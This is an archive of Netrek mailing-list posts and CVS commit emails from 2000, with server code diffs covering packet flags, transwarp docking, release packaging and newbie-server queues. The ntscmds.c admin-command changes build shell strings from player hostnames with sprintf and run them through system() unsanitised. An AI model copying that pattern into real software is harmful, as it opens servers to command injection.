> When you were born, you cried and the world rejoiced.  Try to live your life
> so that when you die, you will rejoice and the world will cry.  -1/2 jj^2
> 

________________________________________________________
uram@cmu.edu
"Blessed are those who have not seen and yet have faith." - John 20:29


From lcrawfor at csc.uvic.ca  Fri Jul 21 14:06:48 2000
From: lcrawfor at csc.uvic.ca (Lee Crawford)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] Getting an RSA Key
Message-ID: <005d01bff346$d29b0be0$b868688e@sleepwalker>

I need to start thinking about getting a RSA key for eCOW
(http://142.104.104.232/eCOW).  While I won't need it for at least a month
down the road, I figured I would ask about it now rather than later.

So what's the procedure?

Lee Crawford
-----------------------------------------------
Dept. of Computer Science
University of Victoria
British Columbia, Canada


From ahn at vec.wfubmc.edu  Fri Jul 21 16:08:11 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] Getting an RSA Key
In-Reply-To: <005d01bff346$d29b0be0$b868688e@sleepwalker>; from lcrawfor@csc.uvic.ca on Fri, Jul 21, 2000 at 12:06:48PM -0700
References: <005d01bff346$d29b0be0$b868688e@sleepwalker>
Message-ID: <20000721170811.A112347@cecum.vec.wfubmc.edu>

On Fri, Jul 21, 2000 at 12:06:48PM -0700, Lee Crawford wrote:
> I need to start thinking about getting a RSA key for eCOW
> (http://142.104.104.232/eCOW).  While I won't need it for at least a month
> down the road, I figured I would ask about it now rather than later.
> So what's the procedure?

Download RES-RSA from ftp.netrek.org.
Read docs bundled with RES-RSA.

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From doosh at best.com  Tue Jul 25 14:48:42 2000
From: doosh at best.com (Tom Holub)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] Re: [Vanilla List] Netrek FTP Archive moved, new files available
In-Reply-To: <20000725154247.A175563@cecum.vec.wfubmc.edu>; from ahn@vec.wfubmc.edu on Tue, Jul 25, 2000 at 03:42:48PM -0400
References: <20000725154247.A175563@cecum.vec.wfubmc.edu>
Message-ID: <20000725124842.A10390@shell3.ba.best.com>

On Tue, Jul 25, 2000 at 03:42:48PM -0400, Dave Ahn wrote:
> 
> Several new client binaries have been released quietly over the past few
> months.  They include updated BRMH 2.4.0, COW 3.0 and Paradise 2.99
> binaries.  New Vanilla Server 2.9pl6 source and Linux RPMs are also
> available.  Download them all from ftp.netrek.org.

Is someone working on the TTS bug with BRMH in > 8 bit color?
It's really annoying, especially now that the older BRMH doesn't work
with most servers.
 -Tom

From ahn at vec.wfubmc.edu  Tue Jul 25 15:03:01 2000
From: ahn at vec.wfubmc.edu (Dave Ahn)
Date: Wed Jan 12 00:50:24 2005
Subject: [Netrek Clients] Re: [Vanilla List] Netrek FTP Archive moved, new files available
In-Reply-To: <20000725124842.A10390@shell3.ba.best.com>; from doosh@best.com on Tue, Jul 25, 2000 at 12:48:42PM -0700
References: <20000725154247.A175563@cecum.vec.wfubmc.edu> <20000725124842.A10390@shell3.ba.best.com>
Message-ID: <20000725160301.B173798@cecum.vec.wfubmc.edu>

On Tue, Jul 25, 2000 at 12:48:42PM -0700, Tom Holub wrote:
> 
> Is someone working on the TTS bug with BRMH in > 8 bit color?
> It's really annoying, especially now that the older BRMH doesn't work
> with most servers.

Can you describe it?  Karthik is maintaining BRMH, but if the problem
can be reproduced on my SGI box, I could probably fix it in a couple
of minutes...

-- 
Dave Ahn | ahn@vec.wfubmc.edu | Wake Forest University Baptist Medical Center

When you were born, you cried and the world rejoiced.  Try to live your life
so that when you die, you will rejoice and the world will cry.  -1/2 jj^2

From vanilla-devel at us.netrek.org  Sat Jul  1 02:43:32 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:11 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007010743.e617hWJ07812@swashbuckler.fortress.real-time.com>

Date:	Saturday July 1, 2000 @ 2:43
Author:	xyzzy

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv7807

Modified Files:
	transwarp.c 
Log Message:
When a ship docked on a SB attempted to transwarp, it was not properly
undocked from the base.  This resulted in the SB getting a "hung port" where
it thought it still had the ship docked, even though it was no longer docked. 
This is what caused the infamous SB etemp bug, where a base would gain etemp
even when it shouldn't be.

Fixed the code so a ship that transwarps will undock from the base, stop
bombing, leave orbit, etc.


****************************************

Index: Vanilla/ntserv/transwarp.c
diff -u Vanilla/ntserv/transwarp.c:1.2 Vanilla/ntserv/transwarp.c:1.3
--- Vanilla/ntserv/transwarp.c:1.2	Fri Apr 30 15:18:47 1999
+++ Vanilla/ntserv/transwarp.c	Sat Jul  1 02:43:31 2000
@@ -1,4 +1,4 @@
-/* $Id: transwarp.c,v 1.2 1999/04/30 20:18:47 ahn Exp $
+/* $Id: transwarp.c,v 1.3 2000/07/01 07:43:31 xyzzy Exp $
  * transwarp.c by isae@IASTATE.EDU
  */
 #include "copyright.h"
@@ -84,6 +84,10 @@
       return (0);
    }
    new_warning(UNDEF, "Transwarp initiated, all systems are DOWN meanwhile!", -1);
+
+   /* This will undock the ship and turn off stuff that it might be doing. */
+   set_speed(1);
+
    me->p_flags &= ~(PFPLOCK|PFPLLOCK|PFDOCK);
    me->p_flags |= (PFSHIELD | PFTWARP | PFPLOCK);
    /*

From vanilla-devel at us.netrek.org  Sat Jul  1 03:35:44 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:11 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007010835.e618ZiW07884@swashbuckler.fortress.real-time.com>

Date:	Saturday July 1, 2000 @ 3:35
Author:	xyzzy

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv7881

Modified Files:
	genspkt.c socket.c 
Log Message:
Fixed a few bugs with the putting of flags inside the SelfShip packet and the
UDP Sequence packet.  The UDP sequence packet is generated before the update,
so it used to reflect old flags.  I made a new function that updates the
sequence packet at the end of the update interval, so that the flags it
contains are current.


****************************************

Index: Vanilla/ntserv/genspkt.c
diff -u Vanilla/ntserv/genspkt.c:1.16 Vanilla/ntserv/genspkt.c:1.17
--- Vanilla/ntserv/genspkt.c:1.16	Sat May 27 04:46:25 2000
+++ Vanilla/ntserv/genspkt.c	Sat Jul  1 03:35:44 2000
@@ -494,31 +494,33 @@
 
 	self->type = SP_S_YOU_SS;
 
-	if (f_many_self)
+	if (f_many_self) {
+	    /* f_many_self is turned on by cambot when it uses this code
+	       to record the game to a file.  The normal server doesn't use
+	       it.  Since the player number is stuck in pad1, it can't be
+	       used to send player flags */
 	    self->pad1 = pl->p_no;
-	else if (F_19flags) {
-	    u_int f = pl->p_flags;
-	    self->pad1 = ((f&PFGREEN )?2:(f&PFYELLOW  )?1:0) +
-			 ((f&PFBEAMUP)?2:(f&PFBEAMDOWN)?1:0)*3 +
-			 ((f&PFPLOCK )?2:(f&PFPLLOCK  )?1:0)*9 +
-			 ((f&PFPRESS )?1:(f&PFTRACT   )?2:0)*27 +   /* weird */
-			 ((f&PFORBIT )?2:(f&PFDOCK    )?1:0)*81;
-	    /* since flags are sent now, note the update */
-	    f = (PFGREEN|PFYELLOW|PFRED|PFBEAMUP|PFBEAMDOWN|PFPLOCK|PFPLLOCK|
-	         PFPRESS|PFTRACT|PFORBIT|PFDOCK);
-	    if(send_short > 1 && commMode == COMM_UDP)  
-	        /* well send these in the sequence packet */
-		f |= (PFSHIELD|PFREPAIR|PFBOMB|PFCLOAK|
-		     PFWEP|PFENG|PFREFITTING|PFDOCKOK);
-	    clientSelfShort.flags = (clientSelfShort.flags & htonl(~f)) |
-				    htonl(pl->p_flags & f);
-	} else if (F_self_8flags) {
-	    /* FEATURE SELF_8FLAGS */
-	    self->pad1 = pl->p_flags & 255; /* For future use */
+	} else {
+	    /* See if we can stuff some flags in the pad byte */
+	    u_int f=0;
+	    if (F_19flags) {
+		f = pl->p_flags;
+		self->pad1 = ((f&PFGREEN )?2:(f&PFYELLOW  )?1:0) +
+			     ((f&PFBEAMUP)?2:(f&PFBEAMDOWN)?1:0)*3 +
+			     ((f&PFPLOCK )?2:(f&PFPLLOCK  )?1:0)*9 +
+			     ((f&PFPRESS )?1:(f&PFTRACT   )?2:0)*27 +
+			     ((f&PFORBIT )?2:(f&PFDOCK    )?1:0)*81;
+		f = (PFGREEN|PFYELLOW|PFRED|PFBEAMUP|PFBEAMDOWN|PFPLOCK|
+		     PFPLLOCK|PFPRESS|PFTRACT|PFORBIT|PFDOCK);
+	    } else if (F_self_8flags) {
+		self->pad1 = pl->p_flags & 0xff;
+		f = 0xff;
+	    }
 	    /* since flags are sent now, note the update */
-	    clientSelfShort.flags = (clientSelfShort.flags & htonl(~0xff)) |
-				    htonl(pl->p_flags & 0xff);
-	};
+	    if(f)
+		clientSelfShort.flags = (clientSelfShort.flags & htonl(~f)) |
+					htonl(pl->p_flags & f);
+	}
 
 	self->damage=htons(pl->p_damage);
 	self->shield=htons(pl->p_shield);
@@ -2420,23 +2422,57 @@
     ssp = (struct sequence_spacket *) outbuf;
     ssp->type = SP_SEQUENCE;
     ssp->sequence = htons((u_short) *seq_no);
+    (*seq_no)++;
+
+    return (sizeof(struct sequence_spacket));
+}
+
+/* Add some of the player flags into the sequence packet.  This isn't done
+   when the sequence packet is made, because that is at the beginning of the
+   update.  The flags sent should be from the end of the update, nominally
+   100ms later. */
+void
+addSequenceFlags(struct sequence_spacket *ssp)
+{
+    u_int f=0;
+
+    /* Doesn't look like a sequence packet */
+    if(ssp->type != SP_SEQUENCE) return;
+
+    /* In cambot mode, we are dumping packets about all players, not 
+       just one. So sending the flags for "me" makes no sense.  */
+    if(f_many_self) return;
+
     if (F_19flags) {
+	/* Send the most useful flags that aren't packed into the
+	   SelfShip packet. */
 	ssp->flag8 = (me->p_flags&PFSHIELD    ? 0x01 : 0) |
-	             (me->p_flags&PFREPAIR    ? 0x02 : 0) |
-	             (me->p_flags&PFBOMB      ? 0x04 : 0) |
-	             (me->p_flags&PFCLOAK     ? 0x08 : 0) |
-	             (me->p_flags&PFWEP       ? 0x10 : 0) |
-	             (me->p_flags&PFENG       ? 0x20 : 0) |
-	             (me->p_flags&PFREFITTING ? 0x40 : 0) |
-	             (me->p_flags&PFDOCKOK    ? 0x80 : 0);
-    } else if (!f_many_self) {
+		     (me->p_flags&PFREPAIR    ? 0x02 : 0) |
+		     (me->p_flags&PFBOMB      ? 0x04 : 0) |
+		     (me->p_flags&PFCLOAK     ? 0x08 : 0) |
+		     (me->p_flags&PFWEP       ? 0x10 : 0) |
+		     (me->p_flags&PFENG       ? 0x20 : 0) |
+		     (me->p_flags&PFREFITTING ? 0x40 : 0) |
+		     (me->p_flags&PFDOCKOK    ? 0x80 : 0);
+	f = (PFSHIELD|PFREPAIR|PFBOMB|PFCLOAK|
+	     PFWEP|PFENG|PFREFITTING|PFDOCKOK);
+    } else {
+	/* S_P2 mode, send flags 8-15.  Flags 0-7 are in the SelfShip
+	   packet. */
 	ssp->flag8 = (((unsigned int)me->p_flags >> 8) & 0xff); /* S_P2 */
-	clientSelfShort.flags = (clientSelfShort.flags & htonl(~0xff)) |
-	                        htonl(me->p_flags & 0xff);
+	if(send_short > 1 ) {
+	    /* In S_P2 mode, consider the flags sent to the client */
+	    f = 0xff00;
+	} else {
+	    /* Non-SP2, probably the client doesn't understand these flags 
+	       but maybe it does.  Sent them, but consider them not sent. */
+	    f = 0;
+	}
     }
-    (*seq_no)++;
-
-    return (sizeof(struct sequence_spacket));
+    /* Consider the flags sent in this packet as sent, and do not resend
+       with a SelfShort or Self packet */
+    clientSelfShort.flags = (clientSelfShort.flags & htonl(~f)) |
+			    htonl(me->p_flags & f);
 }
 
 void
Index: Vanilla/ntserv/socket.c
diff -u Vanilla/ntserv/socket.c:1.24 Vanilla/ntserv/socket.c:1.25
--- Vanilla/ntserv/socket.c:1.24	Tue May 23 20:16:31 2000
+++ Vanilla/ntserv/socket.c	Sat Jul  1 03:35:44 2000
@@ -1,4 +1,4 @@
-/* $Id: socket.c,v 1.24 2000/05/24 01:16:31 jeffno Exp $
+/* $Id: socket.c,v 1.25 2000/07/01 08:35:44 xyzzy Exp $
  */
 
 /*
@@ -634,6 +634,7 @@
 
     if(send_short) {
 	updatePlasmas();
+	if(commMode == COMM_UDP) addSequenceFlags(udpbuf);
 	updateSelf(FALSE);
 	updatePhasers();
 	updateShips();
@@ -785,6 +786,7 @@
             packets_sent ++;
 #endif
 	    if (udpbufptr-udpbuf+size >= UDPBUFSIZE) {
+		addSequenceFlags(udpbuf);
 		t=udpbufptr-udpbuf;
 		if (gwrite(udpSock, udpbuf, t) != t) {
 		    ERROR(1,("%s: gwrite(UDP) failed, %s, client marked dead once more\n",

From vanilla-devel at us.netrek.org  Sun Jul  2 19:52:00 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:11 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007030052.e630q0S08814@swashbuckler.fortress.real-time.com>

Date:	Sunday July 2, 2000 @ 19:52
Author:	cameron

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv8811

Modified Files:
	PROJECTS 
Log Message:


****************************************

Index: Vanilla/PROJECTS
diff -u Vanilla/PROJECTS:1.80 Vanilla/PROJECTS:1.81
--- Vanilla/PROJECTS:1.80	Tue Jun 27 17:09:28 2000
+++ Vanilla/PROJECTS	Sun Jul  2 19:51:59 2000
@@ -1,9 +1,11 @@
 PROJECTS ... list of things to do or fix, and hints for developers.
 
-#	$Id: PROJECTS,v 1.80 2000/06/27 22:09:28 cameron Exp $	
+#	$Id: PROJECTS,v 1.81 2000/07/03 00:51:59 cameron Exp $	
 
 Small things
 
+	- god observer should see all teams messages.
+
 	- practice robots fail to shoot torpedoes if created while server 
           is in topgun mode.
 
@@ -261,8 +263,15 @@
 	cd ..
 	setenv CVSROOT :pserver:cameron@cvs.us.netrek.org:/home/netrek/cvsroot
 	cvs -z9 export -d Vanilla-$VS -r $VL Vanilla
-	tar cvf Vanilla-$VS.tar Vanilla-$VS
-	gzip -9v Vanilla-$VS.tar
+	# package res-rsa with .tar.gz as per dave ahn 28th june 2000
+	cd Vanilla-$VS
+	tar xf ../Vanilla/res-rsa-2.9.2.tar.gz
+	mv res-rsa-2.9.2/* res-rsa/
+	rmdir res-rsa-2.9.2
+	# code above unverified
+	cd ..
+	tar cf Vanilla-$VS.tar Vanilla-$VS
+	gzip -9 Vanilla-$VS.tar
 
 	# record md5sum of kit for publishing
 	md5sum Vanilla-$VS.tar.gz > Vanilla-$VS.tar.gz.md5sum
@@ -275,20 +284,21 @@
 
 	# test install kit
 	make install
-	cd /tmp/$VS
-	./netrekd
+	/tmp/$VS/netrekd
 
 	# test client
 	cow -h localhost
 
 	# clean up
+	/tmp/$VS/netrekd stop
 	rm -rf /tmp/$VS
+	cd ..
 	rm -rf Vanilla-$VS
 
 	# rpm packaging
-	cd Vanilla
-	rpm/tar2rpm
-	cp res-rsa-*.tar.gz /usr/src/redhat/SOURCES
+	Vanilla/rpm/tar2rpm
+	cp Vanilla/res-rsa-*.tar.gz /usr/src/redhat/SOURCES
+	cd /usr/src/redhat/SPECS
 	rpm -ba netrek.spec
 	# test package install
 

From vanilla-devel at us.netrek.org  Sun Jul  2 20:01:51 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:11 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007030101.e6311pB08826@swashbuckler.fortress.real-time.com>

Date:	Sunday July 2, 2000 @ 20:01
Author:	cameron

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv8823

Modified Files:
	ntscmds.c 
Log Message:
make admin commands scriptable

****************************************

Index: Vanilla/ntserv/ntscmds.c
diff -u Vanilla/ntserv/ntscmds.c:1.12 Vanilla/ntserv/ntscmds.c:1.13
--- Vanilla/ntserv/ntscmds.c:1.12	Fri Jun 23 06:21:03 2000
+++ Vanilla/ntserv/ntscmds.c	Sun Jul  2 20:01:51 2000
@@ -1,4 +1,4 @@
-/* $Id: ntscmds.c,v 1.12 2000/06/23 11:21:03 cameron Exp $
+/* $Id: ntscmds.c,v 1.13 2000/07/03 01:01:51 cameron Exp $
  */
 
 /*
@@ -1136,21 +1136,21 @@
 
   if (!strcmp(one, "quit")) {
     if (them == NULL) return;
-    sprintf(command, "tools/xtkill %c e", them->p_mapchars[1]);
+    sprintf(command, "tools/admin/quit %s %c", p->p_full_hostname, them->p_mapchars[1]);
     system(command);
     pmessage(who, MINDIV, addr, "admin: player %s forced to quit.", two);
   } else if (!strcmp(one, "kill")) {
     if (them == NULL) return;
-    sprintf(command, "tools/xtkill %c", them->p_mapchars[1]);
+    sprintf(command, "tools/admin/kill %s %c", p->p_full_hostname, them->p_mapchars[1]);
     system(command);
     pmessage(who, MINDIV, addr, "admin: player %s killed.", two);
   } else if (!strcmp(one, "ban")) {
     if (them == NULL) return;
-    sprintf(command, "mail -s 'ban: %s' `whoami` < /dev/null", them->p_full_hostname);
+    sprintf(command, "tools/admin/ban %s %s", p->p_full_hostname, them->p_full_hostname);
     system(command);
     pmessage(who, MINDIV, addr, "admin: ban for player %s requested.", two);
   } else if (!strcmp(one, "reset")) {
-    system("tools/setgalaxy t");
+    system("tools/admin/reset %s", p->p_full_hostname);
     pmessage(who, MINDIV, addr, "admin: galactic has been reset.");
   } else {
     pmessage(who, MINDIV, addr, "admin: what? kill/quit/ban/reset, lowercase");

From vanilla-devel at us.netrek.org  Sun Jul  2 20:07:16 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:11 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007030107.e6317GL08834@swashbuckler.fortress.real-time.com>

Date:	Sunday July 2, 2000 @ 20:07
Author:	cameron

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv8831

Modified Files:
	ntscmds.c 
Log Message:
test your compiles before you commit ;-}

****************************************

Index: Vanilla/ntserv/ntscmds.c
diff -u Vanilla/ntserv/ntscmds.c:1.13 Vanilla/ntserv/ntscmds.c:1.14
--- Vanilla/ntserv/ntscmds.c:1.13	Sun Jul  2 20:01:51 2000
+++ Vanilla/ntserv/ntscmds.c	Sun Jul  2 20:07:16 2000
@@ -1,4 +1,4 @@
-/* $Id: ntscmds.c,v 1.13 2000/07/03 01:01:51 cameron Exp $
+/* $Id: ntscmds.c,v 1.14 2000/07/03 01:07:16 cameron Exp $
  */
 
 /*
@@ -1150,7 +1150,8 @@
     system(command);
     pmessage(who, MINDIV, addr, "admin: ban for player %s requested.", two);
   } else if (!strcmp(one, "reset")) {
-    system("tools/admin/reset %s", p->p_full_hostname);
+    sprintf(command, "tools/admin/reset %s", p->p_full_hostname);
+    system(command);
     pmessage(who, MINDIV, addr, "admin: galactic has been reset.");
   } else {
     pmessage(who, MINDIV, addr, "admin: what? kill/quit/ban/reset, lowercase");

From vanilla-devel at us.netrek.org  Sun Jul  2 22:03:35 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:11 2005
Subject: [Vanilla Devel] CVS update: Vanilla
Message-ID: <200007030303.e6333ZD08881@swashbuckler.fortress.real-time.com>

Date:	Sunday July 2, 2000 @ 22:03
Author:	cameron

Update of /home/netrek/cvsroot/Vanilla
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv8878

Modified Files:
	ChangeLog config.h.in 
Log Message:
ifdef an unpopular change

****************************************

Index: Vanilla/ChangeLog
diff -u Vanilla/ChangeLog:1.85 Vanilla/ChangeLog:1.86
--- Vanilla/ChangeLog:1.85	Tue Jun 27 18:04:48 2000
+++ Vanilla/ChangeLog	Sun Jul  2 22:03:34 2000
@@ -1,3 +1,9 @@
+Mon Jul  3 13:55:06 2000  James Cameron  <quozl@us.netrek.org>
+
+	* config.h.in: #undef NO_BEAM_DOWN_OUT_OF_T_MODE
+	* ntserv/daemonII.c (beam): #ifdef NO_BEAM_DOWN_OUT_OF_T_MODE
+	Change not found to be universally accepted.
+
 Tue Jun 27 19:39:01 EDT 2000  Dave Ahn <ahn@users.sourceforge.net>
 	
 	* robots/inl*.c: Changed continuous scoring differential to 1.5.
@@ -991,4 +997,4 @@
  	update_sys_defaults in updateMessages to a more appropriate
  	location - updateClient in socket.c.
 	
-	$Id: ChangeLog,v 1.85 2000/06/27 23:04:48 ahn Exp $
+	$Id: ChangeLog,v 1.86 2000/07/03 03:03:34 cameron Exp $
Index: Vanilla/config.h.in
diff -u Vanilla/config.h.in:1.23 Vanilla/config.h.in:1.24
--- Vanilla/config.h.in:1.23	Fri Jun 23 04:12:55 2000
+++ Vanilla/config.h.in	Sun Jul  2 22:03:34 2000
@@ -447,6 +447,11 @@
 				*/
 #undef NO_CHUNG_CREDIT
 
+				/* NO_BEAM_DOWN_OUT_OF_T_MODE - Prevent
+				beaming down from working if t-mode is not
+				active. */
+#undef NO_BEAM_DOWN_OUT_OF_T_MODE
+
 #endif		/* SERVER */
 
 

From vanilla-devel at us.netrek.org  Sun Jul  2 22:03:35 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:11 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007030303.e6333ZJ08887@swashbuckler.fortress.real-time.com>

Date:	Sunday July 2, 2000 @ 22:03
Author:	cameron

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv8878/ntserv

Modified Files:
	daemonII.c 
Log Message:
ifdef an unpopular change

****************************************

Index: Vanilla/ntserv/daemonII.c
diff -u Vanilla/ntserv/daemonII.c:1.33 Vanilla/ntserv/daemonII.c:1.34
--- Vanilla/ntserv/daemonII.c:1.33	Fri Jun 23 04:12:58 2000
+++ Vanilla/ntserv/daemonII.c	Sun Jul  2 22:03:35 2000
@@ -2866,8 +2866,10 @@
 		army_track(AMT_BEAMDOWN, j, l, 1);
                 if (j->p_team != l->pl_owner) {
 
+#ifdef NO_BEAM_DOWN_OUT_OF_T_MODE
 		    /* prevent beaming down to non-team planet out of t */
 		    if (!status->tourn) continue;
+#endif
 
                     j->p_armies--;
 

From vanilla-devel at us.netrek.org  Mon Jul  3 01:09:34 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:11 2005
Subject: [Vanilla Devel] CVS update: metaserver
Message-ID: <200007030609.e6369YY08948@swashbuckler.fortress.real-time.com>

Date:	Monday July 3, 2000 @ 1:09
Author:	unbelver

Update of /home/netrek/cvsroot/metaserver
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv8945

Modified Files:
	metarc 
Log Message:

sdfranks isn't coming back!  *sob*

--Carlos V.




****************************************

Index: metaserver/metarc
diff -u metaserver/metarc:2.13 metaserver/metarc:2.14
--- metaserver/metarc:2.13	Wed Mar  8 20:37:42 2000
+++ metaserver/metarc	Mon Jul  3 01:09:34 2000
@@ -1,7 +1,7 @@
 #
 # Sample configuration for MetaServerII
 #
-# $Id: metarc,v 2.13 2000/03/09 02:37:42 cameron Exp $
+# $Id: metarc,v 2.14 2000/07/03 06:09:34 unbelver Exp $
 #
 
 # ports to listen on for user connections
@@ -73,7 +73,6 @@
 #
 # BRONCO/VANILLA Servers (B):
 
-B RSAmit.netrek.org		0.0.0.0 	2592 20 MIT
 B RSAnetrek.cs.mcgill.ca	0.0.0.0		2592 20 Toronto, Canada.
 B RSAnetrek.unh.edu		0.0.0.0		2592 20 New Hampshire.
 B RSAsoda.csua.berkeley.edu	0.0.0.0		2592 20 Berkeley, CA
@@ -88,7 +87,6 @@
 #
 # HOCKEY Servers (H):
 #
-H hockey.netrek.org		0.0.0.0		2592 20 MIT.
 H hockey.psychosis.net             140.186.18.198  2592    36
 
 #

From vanilla-devel at us.netrek.org  Thu Jul  6 09:50:55 2000
From: vanilla-devel at us.netrek.org (Vanilla CVS Development)
Date: Wed Jan 12 00:51:12 2005
Subject: [Vanilla Devel] CVS update: Vanilla/ntserv
Message-ID: <200007061450.e66EotS11004@swashbuckler.fortress.real-time.com>

Date:	Thursday July 6, 2000 @ 9:50
Author:	karthik

Update of /home/netrek/cvsroot/Vanilla/ntserv
In directory swashbuckler.fortress.real-time.com:/var/tmp/cvs-serv10999

Modified Files:
	defs.h queue.c solicit.c struct.h 
Log Message:
Newbie server changes to properly limit humans to 8 players by means of a
separate queue, as well as to stop reporting bots to the metaserver. (When
the human queue is full, the game will still be reported as Wait Queue, but
when it is not full, only the human count will be reported.)


****************************************

Index: Vanilla/ntserv/defs.h
diff -u Vanilla/ntserv/defs.h:1.18 Vanilla/ntserv/defs.h:1.19
--- Vanilla/ntserv/defs.h:1.18	Tue May 23 20:16:31 2000
+++ Vanilla/ntserv/defs.h	Thu Jul  6 09:50:54 2000
@@ -1,4 +1,4 @@
-/* $Id: defs.h,v 1.18 2000/05/24 01:16:31 jeffno Exp $
+/* $Id: defs.h,v 1.19 2000/07/06 14:50:54 karthik Exp $
  */
 
 #ifndef _h_defs
@@ -67,8 +67,11 @@
 #define PV_TOTAL        MAXPLAYER   /* total number of votable slots */
 #endif
 
-
-#define MAXQUEUE 9	/* Number of different  waitqueues */
+#ifdef NEWBIESERVER
+#define MAXQUEUE 13	/* Number of different  waitqueues */
+#else
+#define MAXQUEUE 9
+#endif
 #define MAXWAITING 32   /* Number of total people waiting */
 #define QNAMESIZE  20   /* Max length of wait queue name */
 #define MAXPLANETS 40
Index: Vanilla/ntserv/queue.c
diff -u Vanilla/ntserv/queue.c:1.5 Vanilla/ntserv/queue.c:1.6
--- Vanilla/ntserv/queue.c:1.5	Thu Mar 23 20:37:34 2000
+++ Vanilla/ntserv/queue.c	Thu Jul  6 09:50:55 2000
@@ -136,6 +136,40 @@
     queues[QU_GOD_OBS].q_flags    = QU_OPEN|QU_OBSERVER;
     queue_setname(QU_GOD_OBS,"god observer");
 
+#ifdef NEWBIESERVER
+    queues[QU_NEWBIE_PLR].free_slots = (MAXPLAYER - TESTERS) / 2;
+    queues[QU_NEWBIE_PLR].max_slots = (MAXPLAYER - TESTERS) / 2;
+    queues[QU_NEWBIE_PLR].tournmask = ALLTEAM;
+    queues[QU_NEWBIE_PLR].low_slot = 0;
+    queues[QU_NEWBIE_PLR].high_slot = (MAXPLAYER - TESTERS) / 2;
+    queues[QU_NEWBIE_PLR].q_flags = QU_OPEN|QU_RESTRICT|QU_REPORT;
+    queue_setname(QU_NEWBIE_PLR, "newbie player");
+
+    queues[QU_NEWBIE_BOT].free_slots = MAXPLAYER - TESTERS;
+    queues[QU_NEWBIE_BOT].max_slots = MAXPLAYER - TESTERS;
+    queues[QU_NEWBIE_BOT].tournmask = ALLTEAM;
+    queues[QU_NEWBIE_BOT].low_slot = (MAXPLAYER - TESTERS) / 2;
+    queues[QU_NEWBIE_BOT].high_slot = MAXPLAYER - (TESTERS / 2);
+    queues[QU_NEWBIE_BOT].q_flags = QU_OPEN;
+    queue_setname(QU_NEWBIE_BOT, "newbie robot");
+
+    queues[QU_NEWBIE_OBS].free_slots = (MAXPLAYER - TESTERS) / 2 - 1;
+    queues[QU_NEWBIE_OBS].max_slots = (MAXPLAYER - TESTERS) / 2 - 1;
+    queues[QU_NEWBIE_OBS].tournmask = ALLTEAM;
+    queues[QU_NEWBIE_OBS].low_slot = MAXPLAYER - (TESTERS / 2);
+    queues[QU_NEWBIE_OBS].high_slot = MAXPLAYER - 1;
+    queues[QU_NEWBIE_OBS].q_flags = QU_OPEN|QU_RESTRICT|QU_OBSERVER|QU_REPORT;
+    queue_setname(QU_NEWBIE_OBS, "newbie observer");
+
+    queues[QU_NEWBIE_DMN].free_slots = 1;
+    queues[QU_NEWBIE_DMN].max_slots = 1;
+    queues[QU_NEWBIE_DMN].tournmask = ALLTEAM;
+    queues[QU_NEWBIE_DMN].low_slot = MAXPLAYER - 1;
+    queues[QU_NEWBIE_DMN].high_slot = MAXPLAYER;
+    queues[QU_NEWBIE_DMN].q_flags = QU_OPEN;
+    queue_setname(QU_NEWBIE_DMN, "newbie daemon");
+#endif
+
     return 1;
 }
 
Index: Vanilla/ntserv/solicit.c
diff -u Vanilla/ntserv/solicit.c:1.16 Vanilla/ntserv/solicit.c:1.17
--- Vanilla/ntserv/solicit.c:1.16	Tue Feb 29 22:08:34 2000
+++ Vanilla/ntserv/solicit.c	Thu Jul  6 09:50:55 2000
@@ -220,7 +220,11 @@
       /* count up the number of free slots and players for pickup games */
       /* don't want to go all the way to MAX_PLAYERS.  Queue starts at */
       /* queues[QU_PICKUP].high_slot players. */
+#ifdef NEWBIESERVER
+      for (j=0; j<queues[QU_NEWBIE_PLR].high_slot; j++)
+#else
       for (j=0; j<queues[QU_PICKUP].high_slot; j++)
+#endif
 	if (players[j].p_status == PFREE)
 	  nfree++;
 	else
@@ -230,7 +234,11 @@
       /* and report that the game is full */
       if (nfree == 0) 
 	{
+#ifdef NEWBIESERVER
+	  nfree = -queues[QU_NEWBIE_PLR].count;
+#else
 	  nfree = -queues[QU_PICKUP].count;
+#endif
 	  gamefull++;
 	}      
 
Index: Vanilla/ntserv/struct.h
diff -u Vanilla/ntserv/struct.h:1.11 Vanilla/ntserv/struct.h:1.12
